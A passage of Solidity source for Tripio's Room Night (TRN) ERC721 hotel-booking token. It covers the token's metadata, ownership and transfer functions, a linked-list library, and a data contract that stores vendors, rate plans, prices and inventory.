TRNAsset is TRNData, ERC721Metadata { using IPFSLib for bytes; using IPFSLib for bytes32; /** * Constructor */ constructor() public { } /** * @dev Descriptive name for Tripio's Room Night Token in this contract * @return The name of the contract */ function name() external pure returns (string _name) { return "Tripio Room Night"; } /** * @dev Abbreviated name for Tripio's Room Night Token in this contract * @return The simple name of the contract */ function symbol() external pure returns (string _symbol) { return "TRN"; } /** * @dev If `_tokenId` is not valid trows an exception otherwise return a URI which point to a JSON file like: * { * "name": "Identifies the asset to which this NFT represents", * "description": "Describes the asset to which this NFT represents", * "image": "A URI pointing to a resource with mime type image/* representing the asset to which this NFT represents. Consider making any images at a width between 320 and 1080 pixels and aspect ratio between 1.91:1 and 4:5 inclusive." * } * @param _tokenId The RoomNight digital token * @return The digital token asset uri */ function tokenURI(uint256 _tokenId) external view validToken(_tokenId) returns (string) { bytes memory prefix = new bytes(2); prefix[0] = 0x12; prefix[1] = 0x20; (,,,,,,bytes32 ipfs) = dataSource.roomnights(_tokenId); bytes memory value = prefix.concat(ipfs.toBytes()); bytes memory ipfsBytes = value.base58Address(); bytes memory tokenBaseURIBytes = bytes(dataSource.tokenBaseURI()); return string(tokenBaseURIBytes.concat(ipfsBytes)); } } contract TRNOwnership is TRNOwners, ERC721 { /** * Constructor */ constructor() public { } /** * This emits when ownership of any TRN changes by any mechanism. */ event Transfer(address indexed _from, address indexed _to, uint256 _tokenId); /** * This emits when the approved address for an RTN is changed or reaffirmed. */ event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId); /** * This emits when an operator is enabled or disabled for an owner. * The operator can manage all RTNs of the owner. */ event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); /** * @dev Transfer the `_tokenId` to `_to` directly * @param _tokenId The room night token * @param _to The target owner */ function _transfer(uint256 _tokenId, address _to) private { // Find the FROM address address from = dataSource.roomNightIndexToOwner(_tokenId); // Remove room night from the `from` _removeRoomNight(from, _tokenId); // Add room night to the `_to` _pushRoomNight(_to, _tokenId, false); // Change the owner of `_tokenId` // Remove approval of `_tokenId` dataSource.transferTokenTo(_tokenId, _to); // Emit Transfer event emit Transfer(from, _to, _tokenId); } function _safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data) private validToken(_tokenId) canTransfer(_tokenId) { // The token's owner is equal to `_from` address owner = dataSource.roomNightIndexToOwner(_tokenId); require(owner == _from); // Avoid `_to` is equal to address(0) require(_to != address(0)); _transfer(_tokenId, _to); uint256 codeSize; assembly { codeSize := extcodesize(_to) } if (codeSize == 0) { return; } bytes4 retval = ERC721Receiver(_to).onERC721Received(_from, _tokenId, _data); require (retval == dataSource.ERC721_RECEIVED()); } /** * @dev Count all TRNs assigned to an owner. * Throw when `_owner` is equal to address(0) * @param _owner An address for whom to query the balance. * @return The number of TRNs owned by `_owner`. */ function balanceOf(address _owner) external view returns (uint256) { require(_owner != address(0)); return dataSource.balanceOf(_owner); } /** * @dev Find the owner of an TRN * Throw unless `_tokenId` more than zero * @param _tokenId The identifier for an TRN * @return The address of the owner of the TRN */ function ownerOf(uint256 _tokenId) external view returns (address) { require(_tokenId > 0); return dataSource.roomNightIndexToOwner(_tokenId); } /** * @dev Transfers the ownership of an TRN from one address to another address. * Throws unless `msg.sender` is the current owner or an approved address for this TRN. * Throws if `_tokenId` is not a valid TRN. When transfer is complete, this function checks if * `_to` is a smart contract (code size > 0). If so, it calls `onERC721Received` on `_to` and * throws if the return value is not `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`. * @param _from The current owner of the TRN * @param _to The new owner * @param _tokenId The TRN to transfer * @param _data Additional data with no specified format, sent in call to `_to` */ function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data) external payable { _safeTransferFrom(_from, _to, _tokenId, _data); } /** * @dev Same like safeTransferFrom with an extra data parameter, except this function just sets data to ""(empty) * @param _from The current owner of the TRN * @param _to The new owner * @param _tokenId The TRN to transfer */ function safeTransferFrom(address _from, address _to, uint256 _tokenId) external payable { _safeTransferFrom(_from, _to, _tokenId, ""); } /** * @dev Transfers the ownership of an TRN from one address to another address. * Throws unless `msg.sender` is the current owner or an approved address for this TRN. * Throws if `_tokenId` is not a valid TRN. * @param _from The current owner of the TRN * @param _to The new owner * @param _tokenId The TRN to transfer */ function transferFrom(address _from, address _to, uint256 _tokenId) external payable validToken(_tokenId) canTransfer(_tokenId) { // The token's owner is equal to `_from` address owner = dataSource.roomNightIndexToOwner(_tokenId); require(owner == _from); // Avoid `_to` is equal to address(0) require(_to != address(0)); _transfer(_tokenId, _to); } /** * @dev Transfers the ownership of TRNs from one address to another address. * Throws unless `msg.sender` is the current owner or an approved address for this TRN. * Throws if `_tokenIds` are not valid TRNs. * @param _from The current owner of the TRN * @param _to The new owner * @param _tokenIds The TRNs to transfer */ function transferFromInBatch(address _from, address _to, uint256[] _tokenIds) external payable validTokenInBatch(_tokenIds) canTransferInBatch(_tokenIds) { for(uint256 i = 0; i < _tokenIds.length; i++) { // The token's owner is equal to `_from` address owner = dataSource.roomNightIndexToOwner(_tokenIds[i]); require(owner == _from); // Avoid `_to` is equal to address(0) require(_to != address(0)); _transfer(_tokenIds[i], _to); } } /** * @dev Set or reaffirm the approved address for an TRN. * Throws unless `msg.sender` is the current TRN owner, or an authorized * @param _approved The new approved TRN controller * @param _tokenId The TRN to approve */ function approve(address _approved, uint256 _tokenId) external payable validToken(_tokenId) canOperate(_tokenId) { address owner = dataSource.roomNightIndexToOwner(_tokenId); dataSource.approveTokenTo(_tokenId, _approved); emit Approval(owner, _approved, _tokenId); } /** * @dev Enable or disable approval for a third party ("operator") to manage * all of `msg.sender`'s assets. * Emits the ApprovalForAll event. * @param _operator Address to add to the set of authorized operators. * @param _approved True if the operator is approved, false to revoke approval. */ function setApprovalForAll(address _operator, bool _approved) external { require(_operator != address(0)); dataSource.approveOperatorTo(_operator, msg.sender, _approved); emit ApprovalForAll(msg.sender, _operator, _approved); } /** * @dev Get the approved address for a single TRN. * Throws if `_tokenId` is not a valid TRN. * @param _tokenId The TRN to find the approved address for * @return The approved address for this TRN, or the zero address if there is none */ function getApproved(uint256 _tokenId) external view validToken(_tokenId) returns (address) { return dataSource.roomNightApprovals(_tokenId); } /** * @dev Query if an address is an authorized operator for another address. * @param _owner The address that owns The TRNs * @param _operator The address that acts on behalf of the owner * @return True if `_operator` is an approved operator for `_owner`, false otherwise */ function isApprovedForAll(address _owner, address _operator) external view returns (bool) { return dataSource.operatorApprovals(_owner, _operator); } } contract TRNSupportsInterface is TRNData, ERC165 { /** * Constructor */ constructor() public { } /** * @dev Query if a contract implements an interface * @param interfaceID The interface identifier, as specified in ERC-165 * @return true if the contract implements `interfaceID` * and `interfaceID` is not 0xffffffff, false otherwise */ function supportsInterface(bytes4 interfaceID) external view returns (bool) { return ((interfaceID == dataSource.interfaceSignature_ERC165()) || (interfaceID == dataSource.interfaceSignature_ERC721Metadata()) || (interfaceID == dataSource.interfaceSignature_ERC721())) && (interfaceID != 0xffffffff); } } /** * This utility library was forked from https://github.com/o0ragman0o/LibCLL */ library LinkedListLib { uint256 constant NULL = 0; uint256 constant HEAD = 0; bool constant PREV = false; bool constant NEXT = true; struct LinkedList { mapping (uint256 => mapping (bool => uint256)) list; uint256 length; uint256 index; } /** * @dev returns true if the list exists * @param self stored linked list from contract */ function listExists(LinkedList storage self) internal view returns (bool) { return self.length > 0; } /** * @dev returns true if the node exists * @param self stored linked list from contract * @param _node a node to search for */ function nodeExists(LinkedList storage self, uint256 _node) internal view returns (bool) { if (self.list[_node][PREV] == HEAD && self.list[_node][NEXT] == HEAD) { if (self.list[HEAD][NEXT] == _node) { return true; } else { return false; } } else { return true; } } /** * @dev Returns the number of elements in the list * @param self stored linked list from contract */ function sizeOf(LinkedList storage self) internal view returns (uint256 numElements) { return self.length; } /** * @dev Returns the links of a node as a tuple * @param self stored linked list from contract * @param _node id of the node to get */ function getNode(LinkedList storage self, uint256 _node) public view returns (bool, uint256, uint256) { if (!nodeExists(self,_node)) { return (false, 0, 0); } else { return (true, self.list[_node][PREV], self.list[_node][NEXT]); } } /** * @dev Returns the link of a node `_node` in direction `_direction`. * @param self stored linked list from contract * @param _node id of the node to step from * @param _direction direction to step in */ function getAdjacent(LinkedList storage self, uint256 _node, bool _direction) public view returns (bool, uint256) { if (!nodeExists(self,_node)) { return (false,0); } else { return (true,self.list[_node][_direction]); } } /** * @dev Can be used before `insert` to build an ordered list * @param self stored linked list from contract * @param _node an existing node to search from, e.g. HEAD. * @param _value value to seek * @param _direction direction to seek in * @return next first node beyond '_node' in direction `_direction` */ function getSortedSpot(LinkedList storage self, uint256 _node, uint256 _value, bool _direction) public view returns (uint256) { if (sizeOf(self) == 0) { return 0; } require((_node == 0) || nodeExists(self,_node)); bool exists; uint256 next; (exists,next) = getAdjacent(self, _node, _direction); while ((next != 0) && (_value != next) && ((_value < next) != _direction)) next = self.list[next][_direction]; return next; } /** * @dev Creates a bidirectional link between two nodes on direction `_direction` * @param self stored linked list from contract * @param _node first node for linking * @param _link node to link to in the _direction */ function createLink(LinkedList storage self, uint256 _node, uint256 _link, bool _direction) private { self.list[_link][!_direction] = _node; self.list[_node][_direction] = _link; } /** * @dev Insert node `_new` beside existing node `_node` in direction `_direction`. * @param self stored linked list from contract * @param _node existing node * @param _new new node to insert * @param _direction direction to insert node in */ function insert(LinkedList storage self, uint256 _node, uint256 _new, bool _direction) internal returns (bool) { if(!nodeExists(self,_new) && nodeExists(self,_node)) { uint256 c = self.list[_node][_direction]; createLink(self, _node, _new, _direction); createLink(self, _new, c, _direction); self.length++; return true; } else { return false; } } /** * @dev removes an entry from the linked list * @param self stored linked list from contract * @param _node node to remove from the list */ function remove(LinkedList storage self, uint256 _node) internal returns (uint256) { if ((_node == NULL) || (!nodeExists(self,_node))) { return 0; } createLink(self, self.list[_node][PREV], self.list[_node][NEXT], NEXT); delete self.list[_node][PREV]; delete self.list[_node][NEXT]; self.length--; return _node; } /** * @dev pushes an enrty to the head of the linked list * @param self stored linked list from contract * @param _index The node Id * @param _direction push to the head (NEXT) or tail (PREV) */ function add(LinkedList storage self, uint256 _index, bool _direction) internal returns (uint256) { insert(self, HEAD, _index, _direction); return self.index; } /** * @dev pushes an enrty to the head of the linked list * @param self stored linked list from contract * @param _direction push to the head (NEXT) or tail (PREV) */ function push(LinkedList storage self, bool _direction) internal returns (uint256) { self.index++; insert(self, HEAD, self.index, _direction); return self.index; } /** * @dev pops the first entry from the linked list * @param self stored linked list from contract * @param _direction pop from the head (NEXT) or the tail (PREV) */ function pop(LinkedList storage self, bool _direction) internal returns (uint256) { bool exists; uint256 adj; (exists,adj) = getAdjacent(self, HEAD, _direction); return remove(self, adj); } } contract TripioToken { string public name; string public symbol; uint8 public decimals; function transfer(address _to, uint256 _value) public returns (bool); function balanceOf(address who) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); } contract TripioRoomNightData is Owned { using LinkedListLib for LinkedListLib.LinkedList; // Interface signature of erc165. // bytes4(keccak256("supportsInterface(bytes4)")) bytes4 constant public interfaceSignature_ERC165 = 0x01ffc9a7; // Interface signature of erc721 metadata. // bytes4(keccak256("name()")) ^ bytes4(keccak256("symbol()")) ^ bytes4(keccak256("tokenURI(uint256)")); bytes4 constant public interfaceSignature_ERC721Metadata = 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd; // Interface signature of erc721. // bytes4(keccak256("balanceOf(address)")) ^ // bytes4(keccak256("ownerOf(uint256)")) ^ // bytes4(keccak256("safeTransferFrom(address,address,uint256,bytes)")) ^ // bytes4(keccak256("safeTransferFrom(address,address,uint256)")) ^ // bytes4(keccak256("transferFrom(address,address,uint256)")) ^ // bytes4(keccak256("approve(address,uint256)")) ^ // bytes4(keccak256("setApprovalForAll(address,bool)")) ^ // bytes4(keccak256("getApproved(uint256)")) ^ // bytes4(keccak256("isApprovedForAll(address,address)")); bytes4 constant public interfaceSignature_ERC721 = 0x70a08231 ^ 0x6352211e ^ 0xb88d4fde ^ 0x42842e0e ^ 0x23b872dd ^ 0x095ea7b3 ^ 0xa22cb465 ^ 0x081812fc ^ 0xe985e9c5; // Base URI of token asset string public tokenBaseURI; // Authorized contracts struct AuthorizedContract { string name; address acontract; } mapping (address=>uint256) public authorizedContractIds; mapping (uint256 => AuthorizedContract) public authorizedContracts; LinkedListLib.LinkedList public authorizedContractList = LinkedListLib.LinkedList(0, 0); // Rate plan prices struct Price { uint16 inventory; // Rate plan inventory bool init; // Whether the price is initied mapping (uint256 => uint256) tokens; } // Vendor hotel RPs struct RatePlan { string name; // Name of rate plan. uint256 timestamp; // Create timestamp. bytes32 ipfs; // The address of rate plan detail on IPFS. Price basePrice; // The base price of rate plan mapping (uint256 => Price) prices; // date -> Price } // Vendors struct Vendor { string name; // Name of vendor. address vendor; // Address of vendor. uint256 timestamp; // Create timestamp. bool valid; // Whether the vendor is valid(default is true) LinkedListLib.LinkedList ratePlanList; mapping (uint256=>RatePlan) ratePlans; } mapping (address => uint256) public vendorIds; mapping (uint256 => Vendor) vendors; LinkedListLib.LinkedList public vendorList = LinkedListLib.LinkedList(0, 0); // Supported digital currencies mapping (uint256 => address) public tokenIndexToAddress; LinkedListLib.LinkedList public tokenList = LinkedListLib.LinkedList(0, 0); // RoomNight tokens struct RoomNight { uint256 vendorId; uint256 rpid; uint256 token; // The digital currency token uint256 price; // The digital currency price uint256 timestamp; // Create timestamp. uint256 date; // The checkin date bytes32 ipfs; // The address of rate plan detail on IPFS. } RoomNight[] public roomnights; // rnid -> owner mapping (uint256 => address) public roomNightIndexToOwner; // Owner Account mapping (address => LinkedListLib.LinkedList) public roomNightOwners; // Vendor Account mapping (address => LinkedListLib.LinkedList) public roomNightVendors; // The authorized address for each TRN mapping (uint256 => address) public roomNightApprovals; // The authorized operators for each address mapping (address => mapping (address => bool)) public operatorApprovals; // The applications of room night redund mapping (address => mapping (uint256 => bool)) public refundApplications; // The signature of `onERC721Received(address,uint256,bytes)` // bytes4(keccak256("onERC721Received(address,uint256,bytes)")); bytes4 constant public ERC721_RECEIVED = 0xf0b9e5ba; /** * This emits when contract authorized */ event ContractAuthorized(address _contract); /** * This emits when contract deauthorized */ event ContractDeauthorized(address _contract); /** * The contract is valid */ modifier authorizedContractValid(address _contract) { require(authorizedContractIds[_contract] > 0); _; } /** * The contract is valid */ modifier authorizedContractIdValid(uint256 _cid) { require(authorizedContractList.nodeExists(_cid)); _; } /** * Only the owner or authorized contract is valid */ modifier onlyOwnerOrAuthorizedContract { require(msg.sender == owner || authorizedContractIds[msg.sender] > 0); _; } /** * Constructor */ constructor() public { // Add one invalid RoomNight, avoid subscript 0 roomnights.push(RoomNight(0, 0, 0, 0, 0, 0, 0)); } /** * @dev Returns the node list and next node as a tuple * @param self stored linked list from contract * @param _node the begin id of the node to get * @param _limit the total nodes of one page * @param _direction direction to step in */ function getNodes(LinkedListLib.LinkedList storage self, uint256 _node, uint256 _limit, bool _direction) private view returns (uint256[], uint256) { bool exists; uint256 i = 0; uint256 ei = 0; uint256 index = 0; uint256 count = _limit; if(count > self.length) { count = self.length; } (exists, i) = self.getAdjacent(_node, _direction); if(!exists || count == 0) { return (new uint256[](0), 0); }else { uint256[] memory temp = new uint256[](count); if(_node != 0) { index++; temp[0] = _node; } while (i != 0 && index < count) { temp[index] = i; (exists,i) = self.getAdjacent(i, _direction); index++; } ei = i; if(index < count) { uint256[] memory result = new uint256[](index); for(i = 0; i < index; i++) { result[i] = temp[i]; } return (result, ei); }else { return (temp, ei); } } } /** * @dev Authorize `_contract` to execute this contract's funs * @param _contract The contract address * @param _name The contract name */ function authorizeContract(address _contract, string _name) public onlyOwner returns(bool) { uint256 codeSize; assembly { codeSize := extcodesize(_contract) } require(codeSize != 0); // Not exists require(authorizedContractIds[_contract] == 0); // Add uint256 id = authorizedContractList.push(false); authorizedContractIds[_contract] = id; authorizedContracts[id] = AuthorizedContract(_name, _contract); // Event emit ContractAuthorized(_contract); return true; } /** * @dev Deauthorized `_contract` by address * @param _contract The contract address */ function deauthorizeContract(address _contract) public onlyOwner authorizedContractValid(_contract) returns(bool) { uint256 id = authorizedContractIds[_contract]; authorizedContractList.remove(id); authorizedContractIds[_contract] = 0; delete authorizedContracts[id]; // Event emit ContractDeauthorized(_contract); return true; } /** * @dev Deauthorized `_contract` by contract id * @param _cid The contract id */ function deauthorizeContractById(uint256 _cid) public onlyOwner authorizedContractIdValid(_cid) returns(bool) { address acontract = authorizedContracts[_cid].acontract; authorizedContractList.remove(_cid); authorizedContractIds[acontract] = 0; delete authorizedContracts[_cid]; // Event emit ContractDeauthorized(acontract); return true; } /** * @dev Get authorize contract ids by page * @param _from The begin authorize contract id * @param _limit How many authorize contract ids one page * @return The authorize contract ids and the next authorize contract id as tuple, the next page not exists when next eq 0 */ function getAuthorizeContractIds(uint256 _from, uint256 _limit) external view returns(uint256[], uint256){ return getNodes(authorizedContractList, _from, _limit, true); } /** * @dev Get authorize contract by id * @param _cid Then authorize contract id * @return The authorize contract info(_name, _acontract) */ function getAuthorizeContract(uint256 _cid) external view returns(string _name, address _acontract) { AuthorizedContract memory acontract = authorizedContracts[_cid]; _name = acontract.name; _acontract = acontract.acontract; } /*************************************** GET ***************************************/ /** * @dev Get the rate plan by `_vendorId` and `_rpid` * @param _vendorId The vendor id * @param _rpid The rate plan id */ function getRatePlan(uint256 _vendorId, uint256 _rpid) public view returns (string _name, uint256 _timestamp, bytes32 _ipfs) { _name = vendors[_vendorId].ratePlans[_rpid].name; _timestamp = vendors[_vendorId].ratePlans[_rpid].timestamp; _ipfs = vendors[_vendorId].ratePlans[_rpid].ipfs; } /** * @dev Get the rate plan price by `_vendorId`, `_rpid`, `_date` and `_tokenId` * @param _vendorId The vendor id * @param _rpid The rate plan id * @param _date The date desc (20180723) * @param _tokenId The digital token id * @return The price info(inventory, init, price) */ function getPrice(uint256 _vendorId, uint256 _rpid, uint256 _date, uint256 _tokenId) public view returns(uint16 _inventory, bool _init, uint256 _price) { _inventory = vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory; _init = vendors[_vendorId].ratePlans[_rpid].prices[_date].init; _price = vendors[_vendorId].ratePlans[_rpid].prices[_date].tokens[_tokenId]; if(!_init) { // Get the base price _inventory = vendors[_vendorId].ratePlans[_rpid].basePrice.inventory; _price = vendors[_vendorId].ratePlans[_rpid].basePrice.tokens[_tokenId]; _init = vendors[_vendorId].ratePlans[_rpid].basePrice.init; } } /** * @dev Get the rate plan prices by `_vendorId`, `_rpid`, `_dates` and `_tokenId` * @param _vendorId The vendor id * @param _rpid The rate plan id * @param _dates The dates desc ([20180723,20180724,20180725]) * @param _tokenId The digital token id * @return The price info(inventory, init, price) */ function getPrices(uint256 _vendorId, uint256 _rpid, uint256[] _dates, uint256 _tokenId) public view returns(uint16[] _inventories, uint256[] _prices) { uint16[] memory inventories = new uint16[](_dates.length); uint256[] memory prices = new uint256[](_dates.length); uint256 date; for(uint256 i = 0; i < _dates.length; i++) { date = _dates[i]; uint16 inventory = vendors[_vendorId].ratePlans[_rpid].prices[date].inventory; bool init = vendors[_vendorId].ratePlans[_rpid].prices[date].init; uint256 price = vendors[_vendorId].ratePlans[_rpid].prices[date].tokens[_tokenId]; if(!init) { // Get the base price inventory = vendors[_vendorId].ratePlans[_rpid].basePrice.inventory; price = vendors[_vendorId].ratePlans[_rpid].basePrice.tokens[_tokenId]; init = vendors[_vendorId].ratePlans[_rpid].basePrice.init; } inventories[i] = inventory; prices[i] = price; } return (inventories, prices); } /** * @dev Get the inventory by by `_vendorId`, `_rpid` and `_date` * @param _vendorId The vendor id * @param _rpid The rate plan id * @param _date The date desc (20180723) * @return The inventory info(inventory, init) */ function getInventory(uint256 _vendorId, uint256 _rpid, uint256 _date) public view returns(uint16 _inventory, bool _init) { _inventory = vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory; _init = vendors[_vendorId].ratePlans[_rpid].prices[_date].init; if(!_init) { // Get the base price _inventory = vendors[_vendorId].ratePlans[_rpid].basePrice.inventory; } } /** * @dev Whether the rate plan is exist * @param _vendorId The vendor id * @param _rpid The rate plan id * @return If the rate plan of the vendor is exist returns true otherwise return false */ function ratePlanIsExist(uint256 _vendorId, uint256 _rpid) public view returns (bool) { return vendors[_vendorId].ratePlanList.nodeExists(_rpid); } /** * @dev Get orders of owner by page * @param _owner The owner address * @param _from The begin id of the node to get * @param _limit The total nodes of one page * @param _direction Direction to step in * @return The order ids and the next id */ function getOrdersOfOwner(address _owner, uint256 _from, uint256 _limit, bool _direction) public view returns (uint256[], uint256) { return getNodes(roomNightOwners[_owner], _from, _limit, _direction); } /** * @dev Get orders of vendor by page * @param _owner The vendor address * @param _from The begin id of the node to get * @param _limit The total nodes of on page * @param _direction Direction to step in * @return The order ids and the next id */ function getOrdersOfVendor(address _owner, uint256 _from, uint256 _limit, bool _direction) public view returns (uint256[], uint256) { return getNodes(roomNightVendors[_owner], _from, _limit, _direction); } /** * @dev Get the token count of somebody * @param _owner The owner of token * @return The token count of `_owner` */ function balanceOf(address _owner) public view returns(uint256) { return roomNightOwners[_owner].length; } /** * @dev Get rate plan ids of `_vendorId` * @param _from The begin id of the node to get * @param _limit The total nodes of on page * @param _direction Direction to step in * @return The rate plan ids and the next id */ function getRatePlansOfVendor(uint256 _vendorId, uint256 _from, uint256 _limit, bool _direction) public view returns(uint256[], uint256) { return getNodes(vendors[_vendorId].ratePlanList, _from, _limit, _direction); } /** * @dev Get token ids * @param _from The begin id of the node to get * @param _limit The total nodes of on page * @param _direction Direction to step in * @return The token ids and the next id */ function getTokens(uint256 _from, uint256 _limit, bool _direction) public view returns(uint256[], uint256) { return getNodes(tokenList, _from, _limit, _direction); } /** * @dev Get token Info * @param _tokenId The token id * @return The token info(symbol, name, decimals) */ function getToken(uint256 _tokenId) public view returns(string _symbol, string _name, uint8 _decimals, address _token) { _token = tokenIndexToAddress[_tokenId]; TripioToken tripio = TripioToken(_token); _symbol = tripio.symbol(); _name = tripio.name(); _decimals = tripio.decimals(); } /** * @dev Get vendor ids * @param _from The begin id of the node to get * @param _limit The total nodes of on page * @param _direction Direction to step in * @return The vendor ids and the next id */ function getVendors(uint256 _from, uint256 _limit, bool _direction) public view returns(uint256[], uint256) { return getNodes(vendorList, _from, _limit, _direction); } /** * @dev Get the vendor infomation by vendorId * @param _vendorId The vendor id * @return The vendor infomation(name, vendor, timestamp, valid) */ function getVendor(uint256 _vendorId) public view returns(string _name, address _vendor,uint256 _timestamp, bool _valid) { _name = vendors[_vendorId].name; _vendor = vendors[_vendorId].vendor; _timestamp = vendors[_vendorId].timestamp; _valid = vendors[_vendorId].valid; } /*************************************** SET ***************************************/ /** * @dev Update base uri of token metadata * @param _tokenBaseURI The base uri */ function updateTokenBaseURI(string _tokenBaseURI) public onlyOwnerOrAuthorizedContract { tokenBaseURI = _tokenBaseURI; } /** * @dev Push order to user's order list * @param _owner The buyer address * @param _rnid The room night order id * @param _direction direction to step in */ function pushOrderOfOwner(address _owner, uint256 _rnid, bool _direction) public onlyOwnerOrAuthorizedContract { if(!roomNightOwners[_owner].listExists()) { roomNightOwners[_owner] = LinkedListLib.LinkedList(0, 0); } roomNightOwners[_owner].add(_rnid, _direction); } /** * @dev Remove order from owner's order list * @param _owner The owner address * @param _rnid The room night order id */ function removeOrderOfOwner(address _owner, uint _rnid) public onlyOwnerOrAuthorizedContract { require(roomNightOwners[_owner].nodeExists(_rnid)); roomNightOwners[_owner].remove(_rnid); } /** * @dev Push order to the vendor's order list * @param _vendor The vendor address * @param _rnid The room night order id * @param _direction direction to step in */ function pushOrderOfVendor(address _vendor, uint256 _rnid, bool _direction) public onlyOwnerOrAuthorizedContract { if(!roomNightVendors[_vendor].listExists()) { roomNightVendors[_vendor] = LinkedListLib.LinkedList(0, 0); } roomNightVendors[_vendor].add(_rnid, _direction); } /** * @dev Remove order from vendor's order list * @param _vendor The vendor address * @param _rnid The room night order id */ function removeOrderOfVendor(address _vendor, uint256 _rnid) public onlyOwnerOrAuthorizedContract { require(roomNightVendors[_vendor].nodeExists(_rnid)); roomNightVendors[_vendor].remove(_rnid); } /** * @dev Transfer token to somebody * @param _tokenId The token id * @param _to The target owner of the token */ function transferTokenTo(uint256 _tokenId, address _to) public onlyOwnerOrAuthorizedContract { roomNightIndexToOwner[_tokenId] = _to; roomNightApprovals[_tokenId] = address(0); } /** * @dev Approve `_to` to operate the `_tokenId` * @param _tokenId The token id * @param _to Somebody to be approved */ function approveTokenTo(uint256 _tokenId, address _to) public onlyOwnerOrAuthorizedContract { roomNightApprovals[_tokenId] = _to; } /** * @dev Approve `_operator` to operate all the Token of `_to` * @param _operator The operator to be approved * @param _to The owner of tokens to be operate * @param _approved Approved or not */ function approveOperatorTo(address _operator, address _to, bool _approved) public onlyOwnerOrAuthorizedContract { operatorApprovals[_to][_operator] = _approved; } /** * @dev Update base price of rate plan * @param _vendorId The vendor id * @param _rpid The rate plan id * @param _tokenId The digital token id * @param _price The price to be updated */ function updateBasePrice(uint256 _vendorId, uint256 _rpid, uint256 _tokenId, uint256 _price) public onlyOwnerOrAuthorizedContract { vendors[_vendorId].ratePlans[_rpid].basePrice.init = true; vendors[_vendorId].ratePlans[_rpid].basePrice.tokens[_tokenId] = _price; } /** * @dev Update base inventory of rate plan * @param _vendorId The vendor id * @param _rpid The rate plan id * @param _inventory The inventory to be updated */ function updateBaseInventory(uint256 _vendorId, uint256 _rpid, uint16 _inventory) public onlyOwnerOrAuthorizedContract { vendors[_vendorId].ratePlans[_rpid].basePrice.inventory = _inventory; } /** * @dev Update price by `_vendorId`, `_rpid`, `_date`, `_tokenId` and `_price` * @param _vendorId The vendor id * @param _rpid The rate plan id * @param _date The date desc (20180723) * @param _tokenId The digital token id * @param _price The price to be updated */ function updatePrice(uint256 _vendorId, uint256 _rpid, uint256 _date, uint256 _tokenId, uint256 _price) public onlyOwnerOrAuthorizedContract { if (vendors[_vendorId].ratePlans[_rpid].prices[_date].init) { vendors[_vendorId].ratePlans[_rpid].prices[_date].tokens[_tokenId] = _price; } else { vendors[_vendorId].ratePlans[_rpid].prices[_date] = Price(0, true); vendors[_vendorId].ratePlans[_rpid].prices[_date].tokens[_tokenId] = _price; } } /** * @dev Update inventory by `_vendorId`, `_rpid`, `_date`, `_inventory` * @param _vendorId The vendor id * @param _rpid The rate plan id * @param _date The date desc (20180723) * @param _inventory The inventory to be updated */ function updateInventories(uint256 _vendorId, uint256 _rpid, uint256 _date, uint16 _inventory) public onlyOwnerOrAuthorizedContract { if (vendors[_vendorId].ratePlans[_rpid].prices[_date].init) { vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory = _inventory; } else { vendors[_vendorId].ratePlans[_rpid].prices[_date] = Price(_inventory, true); } } /** * @dev Reduce inventories * @param _vendorId The vendor id * @param _rpid The rate plan id * @param _date The date desc (20180723) * @param _inventory The amount to be reduced */ function reduceInventories(uint256 _vendorId, uint256 _rpid, uint256 _date, uint16 _inventory) public onlyOwnerOrAuthorizedContract { uint16 a = 0; if(vendors[_vendorId].ratePlans[_rpid].prices[_date].init) { a = vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory; require(_inventory <= a); vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory = a - _inventory; }else if(vendors[_vendorId].ratePlans[_rpid].basePrice.init){ a = vendors[_vendorId].ratePlans[_rpid].basePrice.inventory; require(_inventory <= a); vendors[_vendorId].ratePlans[_rpid].basePrice.inventory = a - _inventory; } } /** * @dev Add inventories * @param _vendorId The vendor id * @param _rpid The rate plan id * @param _date The date desc (20180723) * @param _inventory The amount to be add */ function addInventories(uint256 _vendorId, uint256 _rpid, uint256 _date, uint16 _inventory) public onlyOwnerOrAuthorizedContract { uint16 c = 0; if(vendors[_vendorId].ratePlans[_rpid].prices[_date].init) { c = _inventory + vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory; require(c >= _inventory); vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory = c; }else if(vendors[_vendorId].ratePlans[_rpid].basePrice.init) { c = _inventory + vendors[_vendorId].ratePlans[_rpid].basePrice.inventory; require(c >= _inventory); vendors[_vendorId].ratePlans[_rpid].basePrice.inventory = c; } } /** * @dev Update inventory and price by `_vendorId`, `_rpid`, `_date`, `_tokenId`, `_price` and `_inventory` * @param _vendorId The vendor id * @param _rpid The rate plan id * @param _date The date desc (20180723) * @param _tokenId The digital token id * @param _price The price to be updated * @param _inventory The inventory to be updated */ function updatePriceAndInventories(uint256 _vendorId, uint256 _rpid, uint256 _date, uint256 _tokenId, uint256 _price, uint16 _inventory) public onlyOwnerOrAuthorizedContract { if (vendors[_vendorId].ratePlans[_rpid].prices[_date].init) { vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory = _inventory; vendors[_vendorId].ratePlans[_rpid].prices[_date].tokens[_tokenId] = _price; } else { vendors[_vendorId].ratePlans[_rpid].prices[_date] = Price(_inventory, true); vendors[_vendorId].ratePlans[_rpid].prices[_date].tokens[_tokenId] = _price; } } /** * @dev Push rate plan to `_vendorId`'s rate plan list * @param _vendorId The vendor id * @param _name The name of rate plan * @param _ipfs The rate plan IPFS address * @param _direction direction to step in */ function pushRatePlan(uint256 _vendorId, string _name, bytes32 _ipfs, bool _direction) public onlyOwnerOrAuthorizedContract returns(uint256) { RatePlan memory rp = RatePlan(_name, uint256(now), _ipfs, Price(0, false)); uint256 id = vendors[_vendorId].ratePlanList.push(_direction); vendors[_vendorId].ratePlans[id] = rp; return id; } /** * @dev Remove rate plan of `_vendorId` by `_rpid` * @param _vendorId The vendor id * @param _rpid The rate plan id */ function removeRatePlan(uint256 _vendorId, uint256 _rpid) public onlyOwnerOrAuthorizedContract { delete 